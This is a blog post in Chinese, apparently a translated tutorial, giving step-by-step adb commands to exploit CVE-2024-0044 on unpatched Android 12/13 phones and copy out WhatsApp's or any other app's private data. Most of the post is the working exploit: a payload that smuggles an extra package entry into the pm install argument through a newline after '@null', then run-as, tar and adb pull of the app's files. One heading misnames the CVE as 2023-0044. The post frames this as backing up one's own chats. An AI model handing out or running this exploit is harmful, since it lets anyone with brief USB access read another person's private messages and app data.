利用CVE-2024-0044漏洞从Android 12/13提取WhatsApp数据库(或任意应用数据)

本文详细介绍了如何利用CVE-2024-0044漏洞在未root的Android 12/13设备上提取WhatsApp等应用数据,包括具体操作步骤和命令示例,适用于需要备份聊天记录但无法root设备的用户。

利用CVE-2024-0044从Android 12/13提取WhatsApp数据库(或任意应用数据)

我需要从一台未root的Android 12手机备份WhatsApp消息。几年前,我曾使用Whatsapp-Chat-Exporter将备份转换为HTML,但首先需要从手机中提取数据库。

Whatsapp-Chat-Exporter指出的非root提取方法多年来保持不变:降级到允许备份的旧版WhatsApp,然后创建包含WhatsApp数据库的Android备份。这对WhatsApp Business无效,因为没有允许备份的版本。根据使用情况,您可以将WhatsApp转移到可root的新设备并在那里提取文件(拥有root权限时非常简单)。

当看到Meta Red Team X的新Zygote漏洞(CVE-2024-31317)时,我认为它可以用于执行备份提取,但随后发现了该博客上的前一个条目(CVE-2024-0044),它更易于使用(但仅适用于未接收2024年3月安全更新的Android 12和13)。

CVE-2023-0044

此漏洞利用适用于任何非系统应用,不仅限于从WhatsApp/WhatsApp Business提取数据。对于专家来说,漏洞利用的解释非常明显。我在这里为最终用户或需要逐步指南提取WA数据库的初学者编写。

简单漏洞利用

首先,您需要启用USB调试并允许通过USB安装APK。准备一个APK文件,只要能在您的设备上安装即可(从https://f-droid.org/获取APK)。

将APK文件推送到设备,例如:

1
adb push F-Droid.apk /data/local/tmp/

漏洞利用很简单。首先,我们需要获取WhatsApp的目标uid。执行adb shell,然后在adb内部执行:

1
pm list packages -U|grep com.wha

您将看到类似以下内容:

1
2
package:com.whatsapp.w4b uid:10374
package:com.whatsapp uid:10180

如果只有WhatsApp,您将只有com.whatsapp;如果只有WhatsApp Business,您将只有com.whatsapp.w4b。查看UID(例如10180;这在您的手机上会不同)。将其复制到记事本,更改UID,并复制到剪贴板。

1
2
3
PAYLOAD="@null
victim 10180 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk

或下载此文本文件(以防WordPress弄乱格式)。注意@null后有回车,这是漏洞利用的关键。将UID更改为匹配您的UID。“victim"可以替换为任何单字字符串。

您应该看到类似以下内容: 注意:当@null后的新行被粘贴时,它将在下一行显示为> 注意:您只需要执行一次此操作。

现在我们可以以WhatsApp用户身份运行:

1
run-as victim

我们可以开始浏览文件(ls、cat等)。不幸的是,在Android 13中,我无法将文件复制到其他地方(如/sdcard/、/data/local/tmp)。但我们可以这样做(首先通过exit或按control-d退出run-as):

1
2
3
4
5
mkdir /data/local/tmp/wa/
touch /data/local/tmp/wa/wa.tar
chmod -R 0777  /data/local/tmp/wa/
run-as victim
tar -cf /data/local/tmp/wa/wa.tar com.whatsapp

这是它应该看起来的样子:

现在我们可以退出adb(exit或control-D)回到命令行,并拉取数据:

1
adb pull /data/local/tmp/wa/wa.tar

然后,您可以使用任何应用程序提取数据(最新的Windows可以提取tar文件,或使用7-Zip)。

现在,您可以从databases文件夹获取数据库,并使用Whatsapp-Chat-Exporter将其转换为HTML。

结论

我希望这能帮助任何需要从非root手机提取数据的人。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计